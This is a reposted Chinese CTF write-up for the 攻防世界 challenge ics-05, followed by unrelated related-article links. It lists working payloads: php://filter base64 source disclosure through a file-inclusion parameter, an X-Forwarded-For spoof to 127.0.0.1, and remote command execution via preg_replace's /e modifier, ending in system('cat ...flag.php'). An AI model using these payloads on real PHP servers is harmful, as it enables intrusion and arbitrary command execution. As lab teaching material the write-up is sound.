【攻防世界】ics-05(PHP伪协议+代码审计+Linux指令)

2024-04-09 01:20

本文主要是介绍【攻防世界】ics-05(PHP伪协议+代码审计+Linux指令),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

首先根据题目提示,进入云平台设备维护中心页面:

页面无异常,检查源代码:

 发现注入点 ?page=,大致有如下思路:1、SSTI模板引擎漏洞;2、XXS;3、PHP伪协议。

首先尝试SSTI漏洞,构造payload: ?page={{4*5}},提交结果如下:

发现页面无回显,说明大概率不存在SSTI漏洞。

然后测试XXS漏洞,构造payload: ?page=<script>alert("1")</script>,提交结果如下:

页面无响应,说明大概率不存在XSS漏洞。

最后测试PHP伪协议:

当payload为 ?page=index 时,页面如下:

当修改payload为 ?page=123 时,提交页面如下:

再次修改payload为: ?page=index.php 时:

页面显示OK,说明可能存在文件包含漏洞

上图引用文章自--上图出处

首先测试 php://input,php://input可以进行php代码的提交,抓包构造payload:

所以php://input不可行。

接着测试 php://filter,构造payload来包含index.php来获取它的源码:

payload: ?page=php://filter/resource=index.php

提交发现index.php被重复执行了:

说明源码中使用的文件包含函数是 include、require这类函数,这类函数直接包含文件会导致其中的代码直接被执行,若要包含文件而不希望其中的代码被执行,则可以考虑file_get_content()函数。

所以我们需要使用过滤器来读取源码:

构造payload: ?page=php://filter/read=convert.base64-encode/resource=index.php,提交页面如下:

得到经过 base64 加密后的源码,在解码工具中进行解码,得到index.php源码,如下:

<?php$page = $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br /><?php}else{?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) {die();}if (strpos($page, 'ta:text') > 0) {die();}if (strpos($page, 'text') > 0) {die();}if ($page === 'index.php') {die('Ok');  //输入值为index.php时回显OK的原因}include($page);  //使用include()方法包含文件die();?></p><br /><br /><br /><br /><?php
}}//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试//以下才为关键代码:if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}?>

解题关键在最后一个if判断中,若想判断返回True,则需要抓包修改 X-Forwarded-For:

X-Forwarded-For 是一个 HTTP 请求头部字段,用于指示客户端真实的 IP 地址,尤其是当请求经过了一个或多个代理服务器或负载均衡器时。这个字段的主要作用是提供了客户端的原始 IP 地址,即使请求经过了中间的代理服务器,也能够追踪到真实的客户端地址。

在http请求中添加X-Forwarded-For参数,发现成功回显。接下来的解题关键为 preg_replace()函数。

preg_replace(参数一,参数二,参数三)函数:

参数一:要搜索的正则表达式

参数二:用于替换匹配部分的字符串

参数三:要被进行替换的原始字符串

构造payload: ?pat=/abc/e&rep=system("ls")&sub=abc。

正则表达式中的 /e 修饰符在 PHP 中已经被废弃它表示在执行替换时将替换字符串作为 PHP 代码进行评估和执行。在较早的 PHP 版本中,preg_replace() 函数支持 /e 修饰符,但由于其存在严重的安全隐患,自 PHP 5.5.0 版本开始被弃用,并在 PHP 7.0.0 版本中完全移除。

利用正则表达式将 abc 替换为 system("ls"),再使用正则表达式 /e 来执行命令:

发现命令可以被成功执行,并发现可疑文件s3chahahaDir,构造新的payload,将当前目录切换至s3chahahaDir中并查找flag。

构造payload: ?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26ls")&sub=abc

%20:空格

%26:&

%26%26:&&

提交,页面如下:

发现目录下存在文件flag,猜测flag值很有可能就在文件flag中jia,于是构造新的payload去访问flag:

payload: ?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26ls")&sub=abc,提交页面如下:

发现flag.php,构造payload访问flag.php:

payload: ?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=abc

成功拿到flag。

这篇关于【攻防世界】ics-05(PHP伪协议+代码审计+Linux指令)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/886854

相关文章

Linux镜像文件制作方式

《Linux镜像文件制作方式》本文介绍了Linux镜像文件制作的过程,包括确定磁盘空间布局、制作空白镜像文件、分区与格式化、复制引导分区和其他分区... 目录1.确定磁盘空间布局2.制作空白镜像文件3.分区与格式化1) 分区2) 格式化4.复制引导分区5.复制其它分区1) 挂载2) 复制bootfs分区3)

JAVA项目swing转javafx语法规则以及示例代码

《JAVA项目swing转javafx语法规则以及示例代码》:本文主要介绍JAVA项目swing转javafx语法规则以及示例代码的相关资料,文中详细讲解了主类继承、窗口创建、布局管理、控件替换、... 目录最常用的“一行换一行”速查表(直接全局替换)实际转换示例(JFramejs → JavaFX)迁移建

Go异常处理、泛型和文件操作实例代码

《Go异常处理、泛型和文件操作实例代码》Go语言的异常处理机制与传统的面向对象语言(如Java、C#)所使用的try-catch结构有所不同,它采用了自己独特的设计理念和方法,:本文主要介绍Go异... 目录一:异常处理常见的异常处理向上抛中断程序恢复程序二:泛型泛型函数泛型结构体泛型切片泛型 map三:文

MyBatis中的两种参数传递类型详解(示例代码)

《MyBatis中的两种参数传递类型详解(示例代码)》文章介绍了MyBatis中传递多个参数的两种方式,使用Map和使用@Param注解或封装POJO,Map方式适用于动态、不固定的参数,但可读性和安... 目录✅ android方式一:使用Map<String, Object>✅ 方式二:使用@Param

C# 预处理指令(# 指令)的具体使用

《C#预处理指令(#指令)的具体使用》本文主要介绍了C#预处理指令(#指令)的具体使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学... 目录1、预处理指令的本质2、条件编译指令2.1 #define 和 #undef2.2 #if, #el

SpringBoot实现图形验证码的示例代码

《SpringBoot实现图形验证码的示例代码》验证码的实现方式有很多,可以由前端实现,也可以由后端进行实现,也有很多的插件和工具包可以使用,在这里,我们使用Hutool提供的小工具实现,本文介绍Sp... 目录项目创建前端代码实现约定前后端交互接口需求分析接口定义Hutool工具实现服务器端代码引入依赖获

利用Python在万圣节实现比心弹窗告白代码

《利用Python在万圣节实现比心弹窗告白代码》:本文主要介绍关于利用Python在万圣节实现比心弹窗告白代码的相关资料,每个弹窗会显示一条温馨提示,程序通过参数方程绘制爱心形状,并使用多线程技术... 目录前言效果预览要点1. 爱心曲线方程2. 显示温馨弹窗函数(详细拆解)2.1 函数定义和延迟机制2.2

Springmvc常用的注解代码示例

《Springmvc常用的注解代码示例》本文介绍了SpringMVC中常用的控制器和请求映射注解,包括@Controller、@RequestMapping等,以及请求参数绑定注解,如@Request... 目录一、控制器与请求映射注解二、请求参数绑定注解三、其他常用注解(扩展)四、注解使用注意事项一、控制

Linux服务器数据盘移除并重新挂载的全过程

《Linux服务器数据盘移除并重新挂载的全过程》:本文主要介绍在Linux服务器上移除并重新挂载数据盘的整个过程,分为三大步:卸载文件系统、分离磁盘和重新挂载,每一步都有详细的步骤和注意事项,确保... 目录引言第一步:卸载文件系统第二步:分离磁盘第三步:重新挂载引言在 linux 服务器上移除并重新挂p

Linux下屏幕亮度的调节方式

《Linux下屏幕亮度的调节方式》文章介绍了Linux下屏幕亮度调节的几种方法,包括图形界面、手动调节(使用ACPI内核模块)和外接显示屏调节,以及自动调节软件(CaliseRedshift和Reds... 目录1 概述2 手动调节http://www.chinasem.cn2.1 手动屏幕调节2.2 外接显